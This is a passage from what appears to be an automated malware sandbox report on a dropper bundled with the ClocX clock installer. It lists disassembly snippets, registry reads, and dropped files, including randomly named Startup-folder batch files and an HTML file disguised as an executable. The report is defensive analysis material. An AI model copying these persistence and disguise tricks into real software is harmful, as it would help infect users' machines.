edi,mov byte ptr [ebp - 4], 0x20,call dword ptr [0x40809c],mov esi, dword ptr [0x4080a0],lea eax, [ebp - 0xc4],push eax,mov dword ptr [ebp - 0xb0], edi,mov dword ptr [ebp - 0x30], edi,mov dword ptr [ebp - 0x2c], edi,mov dword ptr [ebp - 0xc4], 0x9c,call esi,test eax, eax,jne 0x403413,lea eax, [ebp - 0xc4],mov dword ptr [ebp - 0xc4], 0x94,push eax," "Checker.dll" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10001dc1,call 0x10004519,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x10001cbb,pop ecx,pop ebp,ret 0xc,mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 8], 0,je 0x10001e0c,push dword ptr [ebp + 8],push 0,push dword ptr [0x1000b0f0],call dword ptr [0x10007040],test eax, eax,jne 0x10001e0c,push esi,call 0x10002fef,mov esi, eax,call dword ptr [0x1000703c],push eax,call 0x10002fad,pop ecx,mov dword ptr [esi], eax,pop esi,pop ebp,ret ,mov edi, edi,push ebp,mov ebp, esp," "INetC.dll" file has an entrypoint instructions - "mov eax, dword ptr [esp + 4],mov dword ptr [0x10005d94], eax,xor eax, eax,inc eax,ret 0xc,mov eax, dword ptr [0x1000a758],test eax, eax,push esi,je 0x100045f9,mov esi, dword ptr [eax],test esi, esi,je 0x100045f9,cmp dword ptr [esp + 8], 0,je 0x100045ea,lea eax, [esi + 4],push eax,push dword ptr [esp + 0xc],call dword ptr [0x10001008],mov eax, dword ptr [0x1000a758],mov ecx, dword ptr [esi],push esi,mov dword ptr [eax], ecx,call dword ptr [0x10001078],xor eax, eax,jmp 0x100045fc,xor eax, eax,inc eax,pop esi,ret 4,cmp dword ptr [0x1000a758], 0,je 0x1000463e,mov eax, dword ptr [0x1000a75c],push esi,lea eax, [eax + eax + 8],push eax,"3e:T6de,"CasPol.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "CasPol.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "CasPol.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "CasPol.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "pnyhlJ15kIGAuyP1DTRWyj5L.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "pnyhlJ15kIGAuyP1DTRWyj5L.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "pnyhlJ15kIGAuyP1DTRWyj5L.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "pnyhlJ15kIGAuyP1DTRWyj5L.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "tADoao6OOjGypodPFPdb9O4N.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "tADoao6OOjGypodPFPdb9O4N.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "tADoao6OOjGypodPFPdb9O4N.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "BroomSetup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "nsn192A.tmp.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "nsn192A.tmp.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "nsn192A.tmp.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US")3f:T909,Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00000736-00000C25-41367401] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00000736-00000C25-41411895] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" [Source: 00000000-00000736-00000C25-41496238] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" [Source: 00000000-00000736-00000C25-41862095] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00000736-00000C25-42518004] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" [Source: 00000000-00000736-00000C25-42667927] Observed system executable string:"%WINDIR%\system32\UXTHEME.dll" [Source: 00000000-00001216-00000C25-48337405] Observed system executable string:"%WINDIR%\system32\USERENV.dll" [Source: 00000000-00001216-00000C25-48372463] Observed system executable string:"%WINDIR%\system32\SETUPAPI.dll" [Source: 00000000-00001216-00000C25-48390877] Observed system executable string:"%WINDIR%\system32\APPHELP.dll" [Source: 00000000-00001216-00000C25-48666786] Observed system executable string:"%WINDIR%\system32\PROPSYS.dll" [Source: 00000000-00001216-00000C25-48684245] Observed system executable string:"%WINDIR%\system32\DWMAPI.dll" [Source: 00000000-00001216-00000C25-48716802] Observed system executable string:"%WINDIR%\system32\CRYPTBASE.dll" [Source: 00000000-00001216-00000C25-48730042] Observed system executable string:"%WINDIR%\system32\OLEACC.dll" [Source: 00000000-00001216-00000C25-48771019] Observed system executable string:"%WINDIR%\system32\CLBCATQ.dll" [Source: 00000000-00001216-00000C25-48796049] Observed system executable string:"%WINDIR%\system32\NTMARTA.dll" [Source: 00000000-00001216-00000C25-48814304] Observed system executable string:"%WINDIR%\system32\VERSION.dll" [Source: 00000000-00001216-00000C25-48832011] Observed system executable string:"%WINDIR%\system32\SHFOLDER.dll" [Source: 00000000-00001216-00000C25-48859347]40:Ta763,"BroomSetup.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\BroomSetup.exe]- [targetUID: 00000000-00001216] "EQxweFwDefVKEdjRSJJROzCN.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows Nullsoft Installer self-extracting archive"- Location: [%LOCALAPPDATA%\EQxweFwDefVKEdjRSJJROzCN.exe]- [targetUID: 00000000-00000736] "7KVCFfyDvEerh4UVg4DysCjN.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows Nullsoft Installer self-extracting archive"- Location: [%LOCALAPPDATA%\7KVCFfyDvEerh4UVg4DysCjN.exe]- [targetUID: 00000000-00000736] "ClocX.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%PROGRAMFILES%\(x86)\ClocX\ClocX.exe]- [targetUID: 00000000-00003068] "nsn192A.tmp.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsn192A.tmp.exe]- [targetUID: 00000000-00001216] "Zip.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsz10AC.tmp\Zip.dll]- [targetUID: 00000000-00003068] "uninst.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows Nullsoft Installer self-extracting archive"- Location: [%PROGRAMFILES%\(x86)\ClocX\uninst.exe]- [targetUID: 00000000-00003068] "Checker.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsz10AC.tmp\Checker.dll]- [targetUID: 00000000-00003068] "INetC.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nstCE5.tmp\INetC.dll]- [targetUID: 00000000-00001216] "cX0CFSimOYMlAO2cu39CWNQ6.exe" has type "HTML document UTF-8 Unicode text with very long lines"- Location: [%USERPROFILE%\Pictures\cX0CFSimOYMlAO2cu39CWNQ6.exe]- [targetUID: 00000000-00000736] "ClocX.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Has Working directory Archive ctime=Mon Jan 14 15:48:34 2013 mtime=Sat Dec 23 20:43:58 2023 atime=Mon Jan 14 15:48:34 2013 length=2090496 window=hide"- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\ClocX\ClocX.lnk]- [targetUID: 00000000-00003068] "Uninstall.lnk" has type "MS Windows shortcut Item id list present Has Relative path Has Working directory ctime=Mon Jan 1 00:00:00 1601 mtime=Mon Jan 1 00:00:00 1601 atime=Mon Jan 1 00:00:00 1601 length=0 window=hide"- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\ClocX\Uninstall.lnk]- [targetUID: 00000000-00003068] "Mso0RGQpZGOFORCmSSSeiRZy.exe" has type "data"- Location: [%LOCALAPPDATA%\Mso0RGQpZGOFORCmSSSeiRZy.exe]- [targetUID: 00000000-00000736] "09hUFR7PG3zWosUIIgM49wOc.bat" has type "ASCII text with no line terminators"- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\09hUFR7PG3zWosUIIgM49wOc.bat]- [targetUID: 00000000-00000736] "6EvAx3ALaKFuZU0xB6heb2kP.bat" has type "ASCII text with no line terminators"- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\6EvAx3ALaKFuZU0xB6heb2kP.bat]- [targetUID: 00000000-00000736] "vtardEUI404h3u3aDsbSOFUT.bat" has type "ASCII text with no line terminators"- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\vtardEUI404h3u3aDsbSOFUT.bat]- [targetUID: 00000000-00000736] "qpaIkOaFrndVWFbfVCgOcFwk.bat" has type "ASCII text with no line terminators"- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\qpaIkOaFrndVWFbfVCgOcFwk.bat]- [targetUID: 00000000-00000736] "BackupAlarms.bat" has type "ASCII text with no line terminators"- Location: [%PROGRAMFILES%\(x86)\ClocX\BackupAlarms.bat]- [targetUID: 00000000-00003068] "nsf111B.tmp" has type "DOS executable (COM)"- Location: [%TEMP%\nsf111B.tmp]- [targetUID: 00000000-00003068] "09KCT5EA.htm" has type "HTML document UTF-8 Unicode text with very long lines with CRLF LF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\LSCBY323\09KCT5EA.htm]- [targetUID: 00000000-00001216] "MickeyClock.png" has type "PNG image data 246 x 247 8-bit/color RGB interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\MickeyClock.png]- [targetUID: 00000000-00003068] "alarme.png" has type "PNG image data 218 x 273 8-bit/color RGBA interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\alarme.png]- [targetUID: 00000000-00003068] "DSX4.BMP" has type "PC bitmap Windows 3.x format 172 x 172 x 24 image size 88752 resolution 7874 x 7874 px/m cbSize 88806 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\DSX4.BMP]- [targetUID: 00000000-00003068] "IvyLace.png" has type "PNG image data 193 x 322 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\IvyLace.png]- [targetUID: 00000000-00003068] "hallow2.png" has type "PNG image data 400 x 400 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\hallow2.png]- [targetUID: 00000000-00003068] "Holzuhr.png" has type "PNG image data 160 x 153 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Holzuhr.png]- [targetUID: 00000000-00003068] "Citizen.png" has type "PNG image data 200 x 199 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Citizen.png]- [targetUID: 00000000-00003068] "Wall Clock medium.bmp" has type "PC bitmap Windows 3.x format 158 x 157 x 24 image size 74732 resolution 3780 x 3780 px/m cbSize 74786 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Wall Clock medium.bmp]- [targetUID: 00000000-00003068] "Comdex - Omega1.png" has type "PNG image data 150 x 328 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Comdex - Omega1.png]- [targetUID: 00000000-00003068] "Omega.png" has type "PNG image data 170 x 191 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Omega.png]- [targetUID: 00000000-00003068] "weemsplath.png" has type "PNG image data 228 x 228 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\weemsplath.png]- [targetUID: 00000000-00003068] "FZ0NXR46.htm" has type "HTML document UTF-8 Unicode text with very long lines"- Location: [%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\T1MM1X3A\FZ0NXR46.htm]- [targetUID: 00000000-00001216] "earth.png" has type "PNG image data 186 x 186 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\earth.png]- [targetUID: 00000000-00003068] "Adler.png" has type "PNG image data 130 x 130 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Adler.png]- [targetUID: 00000000-00003068] "BigBen.png" has type "PNG image data 254 x 254 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BigBen.png]- [targetUID: 00000000-00003068] "Nvidia.png" has type "PNG image data 180 x 180 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Nvidia.png]- [targetUID: 00000000-00003068] "Holzwanduhr.bmp" has type "PC bitmap Windows 3.x format 128 x 130 x 24 resolution 2834 x 2834 px/m cbSize 49976 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Holzwanduhr.bmp]- [targetUID: 00000000-00003068] "klokje.png" has type "PNG image data 142 x 158 8-bit/color RGB non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\klokje.png]- [targetUID: 00000000-00003068] "mars.png" has type "PNG image data 250 x 250 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\mars.png]- [targetUID: 00000000-00003068] "Casio.png" has type "PNG image data 190 x 210 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Casio.png]- [targetUID: 00000000-00003068] "Unreal.png" has type "PNG image data 200 x 150 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Unreal.png]- [targetUID: 00000000-00003068] "AquaLarge.png" has type "PNG image data 176 x 176 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\AquaLarge.png]- [targetUID: 00000000-00003068] "BlueSphere.bmp" has type "PC bitmap Windows 3.x format 123 x 123 x 24 resolution 2834 x 2834 px/m cbSize 45812 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BlueSphere.bmp]- [targetUID: 00000000-00003068] "Alte Standuhr.png" has type "PNG image data 140 x 165 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Alte Standuhr.png]- [targetUID: 00000000-00003068] "cowboy2.png" has type "PNG image data 200 x 201 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\cowboy2.png]- [targetUID: 00000000-00003068] "default.bmp" has type "PC bitmap Windows 3.x format 121 x 121 x 24 resolution 2795 x 2795 px/m cbSize 44100 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\default.bmp]- [targetUID: 00000000-00003068] "Blue_sphere.bmp" has type "PC bitmap Windows 3.x format 121 x 121 x 24 resolution 2834 x 2834 px/m cbSize 44100 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Blue_sphere.bmp]- [targetUID: 00000000-00003068] "Neon.png" has type "PNG image data 180 x 180 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Neon.png]- [targetUID: 00000000-00003068] "Jaguar.bmp" has type "PC bitmap Windows 3.x format 119 x 120 x 24 resolution 2834 x 2834 px/m cbSize 43256 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Jaguar.bmp]- [targetUID: 00000000-00003068] "NewDefault.bmp" has type "PC bitmap Windows 3.x format 119 x 120 x 24 resolution 2834 x 2834 px/m cbSize 43256 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\NewDefault.bmp]- [targetUID: 00000000-00003068] "UniversalAccessClock.bmp" has type "PC bitmap Windows 3.x format 117 x 119 x 24 resolution 2834 x 2834 px/m cbSize 41944 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\UniversalAccessClock.bmp]- [targetUID: 00000000-00003068] "MilkClock.bmp" has type "PC bitmap Windows 3.x format 117 x 119 x 24 resolution 2834 x 2834 px/m cbSize 41944 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\MilkClock.bmp]- [targetUID: 00000000-00003068] "BlackAppleClock.bmp" has type "PC bitmap Windows 3.x format 117 x 118 x 24 resolution 2834 x 2834 px/m cbSize 41592 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BlackAppleClock.bmp]- [targetUID: 00000000-00003068] "Aqua.bmp" has type "PC bitmap Windows 3.x format 116 x 117 x 24 resolution 2834 x 2834 px/m cbSize 40772 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Aqua.bmp]- [targetUID: 00000000-00003068] "Nvidia2.png" has type "PNG image data 180 x 180 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Nvidia2.png]- [targetUID: 00000000-00003068] "Jagua3rClock.bmp" has type "PC bitmap Windows 3.x format 113 x 113 x 24 resolution 2834 x 2834 px/m cbSize 38476 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Jagua3rClock.bmp]- [targetUID: 00000000-00003068] "LongClock.bmp" has type "PC bitmap Windows 3.x format 122 x 104 x 24 resolution 2834 x 2834 px/m cbSize 38328 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\LongClock.bmp]- [targetUID: 00000000-00003068] "Jaguar2Clock.bmp" has type "PC bitmap Windows 3.x format 112 x 113 x 24 resolution 2834 x 2834 px/m cbSize 38024 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Jaguar2Clock.bmp]- [targetUID: 00000000-00003068] "aqua-clock2.bmp" has type "PC bitmap Windows 3.x format 112 x 113 x 24 resolution 2834 x 2834 px/m cbSize 38024 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\aqua-clock2.bmp]- [targetUID: 00000000-00003068] "iToolsClock2.bmp" has type "PC bitmap Windows 3.x format 112 x 112 x 24 resolution 2834 x 2834 px/m cbSize 37688 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\iToolsClock2.bmp]- [targetUID: 00000000-00003068] "iToolsClock.bmp" has type "PC bitmap Windows 3.x format 109 x 114 x 24 resolution 2834 x 2834 px/m cbSize 37448 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\iToolsClock.bmp]- [targetUID: 00000000-00003068] "White_Apple_Clock.bmp" has type "PC bitmap Windows 3.x format 101 x 122 x 24 resolution 2834 x 2834 px/m cbSize 37144 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\White_Apple_Clock.bmp]- [targetUID: 00000000-00003068] "aqua-clock1.bmp" has type "PC bitmap Windows 3.x format 107 x 114 x 24 resolution 2834 x 2834 px/m cbSize 36992 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\aqua-clock1.bmp]- [targetUID: 00000000-00003068] "Aqua_Apple_Clock.bmp" has type "PC bitmap Windows 3.x format 100 x 122 x 24 resolution 2834 x 2834 px/m cbSize 36656 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Aqua_Apple_Clock.bmp]- [targetUID: 00000000-00003068] "iSink.bmp" has type "PC bitmap Windows 3.x format 110 x 110 x 24 resolution 2834 x 2834 px/m cbSize 36576 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\iSink.bmp]- [targetUID: 00000000-00003068] "BaiWeather.png" has type "PNG image data 161 x 161 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BaiWeather.png]- [targetUID: 00000000-00003068] "dsaqua.bmp" has type "PC bitmap Windows 3.x format 129 x 129 x 16 resolution 2834 x 2834 px/m cbSize 33596 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\dsaqua.bmp]- [targetUID: 00000000-00003068] "BallClockRed.bmp" has type "PC bitmap Windows 3.x format 104 x 103 x 24 resolution 2834 x 2834 px/m cbSize 32192 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BallClockRed.bmp]- [targetUID: 00000000-00003068] "BallClockAmber.bmp" has type "PC bitmap Windows 3.x format 104 x 103 x 24 resolution 2834 x 2834 px/m cbSize 32192 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BallClockAmber.bmp]- [targetUID: 00000000-00003068] "BallClockIce.bmp" has type "PC bitmap Windows 3.x format 104 x 103 x 24 resolution 2834 x 2834 px/m cbSize 32192 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BallClockIce.bmp]- [targetUID: 00000000-00003068] "BallClockAqua.bmp" has type "PC bitmap Windows 3.x format 104 x 103 x 24 resolution 2834 x 2834 px/m cbSize 32192 bits offset 54"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BallClockAqua.bmp]- [targetUID: 00000000-00003068] "AquaB.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\AquaB.png]- [targetUID: 00000000-00003068] "Bahnhofsuhr.png" has type "PNG image data 129 x 129 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Bahnhofsuhr.png]- [targetUID: 00000000-00003068] "iToolsClock.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\iToolsClock.png]- [targetUID: 00000000-00003068] "BlueBallStd.png" has type "PNG image data 129 x 129 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BlueBallStd.png]- [targetUID: 00000000-00003068] "MickeyMouse.png" has type "PNG image data 123 x 124 8-bit/color RGB interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\MickeyMouse.png]- [targetUID: 00000000-00003068] "BlueAppleClock.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BlueAppleClock.png]- [targetUID: 00000000-00003068] "UniversalAccess.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\UniversalAccess.png]- [targetUID: 00000000-00003068] "AquaMade.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\AquaMade.png]- [targetUID: 00000000-00003068] "Kirchenuhr.png" has type "PNG image data 142 x 143 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Kirchenuhr.png]- [targetUID: 00000000-00003068] "Jaguar2.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Jaguar2.png]- [targetUID: 00000000-00003068] "BlueBallRoman.png" has type "PNG image data 129 x 129 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BlueBallRoman.png]- [targetUID: 00000000-00003068] "BubbleClock.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BubbleClock.png]- [targetUID: 00000000-00003068] "BlueSphere.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BlueSphere.png]- [targetUID: 00000000-00003068] "Naranja.png" has type "PNG image data 176 x 176 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Naranja.png]- [targetUID: 00000000-00003068] "BlueBallOnlyDots.png" has type "PNG image data 129 x 129 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BlueBallOnlyDots.png]- [targetUID: 00000000-00003068] "Octopye2.png" has type "PNG image data 176 x 176 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Octopye2.png]- [targetUID: 00000000-00003068] "Violeta.png" has type "PNG image data 176 x 176 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Violeta.png]- [targetUID: 00000000-00003068] "iToolsClock2.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\iToolsClock2.png]- [targetUID: 00000000-00003068] "Verde.png" has type "PNG image data 176 x 176 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Verde.png]- [targetUID: 00000000-00003068] "Amarillo.png" has type "PNG image data 176 x 176 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Amarillo.png]- [targetUID: 00000000-00003068] "BlackAppleClock.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BlackAppleClock.png]- [targetUID: 00000000-00003068] "BlueSphere2.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BlueSphere2.png]- [targetUID: 00000000-00003068] "Earth2.png" has type "PNG image data 99 x 98 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Earth2.png]- [targetUID: 00000000-00003068] "JaguarClock.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\JaguarClock.png]- [targetUID: 00000000-00003068] "Apple.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Apple.png]- [targetUID: 00000000-00003068] "MilkClock.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\MilkClock.png]- [targetUID: 00000000-00003068] "Wonderglobe2.png" has type "PNG image data 95 x 95 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Wonderglobe2.png]- [targetUID: 00000000-00003068] "BallClockRed.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BallClockRed.png]- [targetUID: 00000000-00003068] "Original.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\Original.png]- [targetUID: 00000000-00003068] "BallClockAqua.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BallClockAqua.png]- [targetUID: 00000000-00003068] "BallClockAmber.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BallClockAmber.png]- [targetUID: 00000000-00003068] "DarkCrystalBall.png" has type "PNG image data 259 x 293 8-bit colormap non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\DarkCrystalBall.png]- [targetUID: 00000000-00003068] "trumpet.mp3" has type "MPEG ADTS layer III v2.5 24 kbps 8 kHz Monaural"- Location: [%PROGRAMFILES%\(x86)\ClocX\Sounds\trumpet.mp3]- [targetUID: 00000000-00003068] "BlackBallRoman.png" has type "PNG image data 129 x 129 8-bit/color RGBA non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\BlackBallRoman.png]- [targetUID: 00000000-00003068] "GuldKugler.png" has type "PNG image data 1600 x 900 8-bit colormap non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\GuldKugler.png]- [targetUID: 00000000-00003068] "VioletteKugler.png" has type "PNG image data 1600 x 900 8-bit colormap non-interlaced"- Location: [%PROGRAMFILES%\(x86)\ClocX\Presets\VioletteKugler.png]- [targetUID: 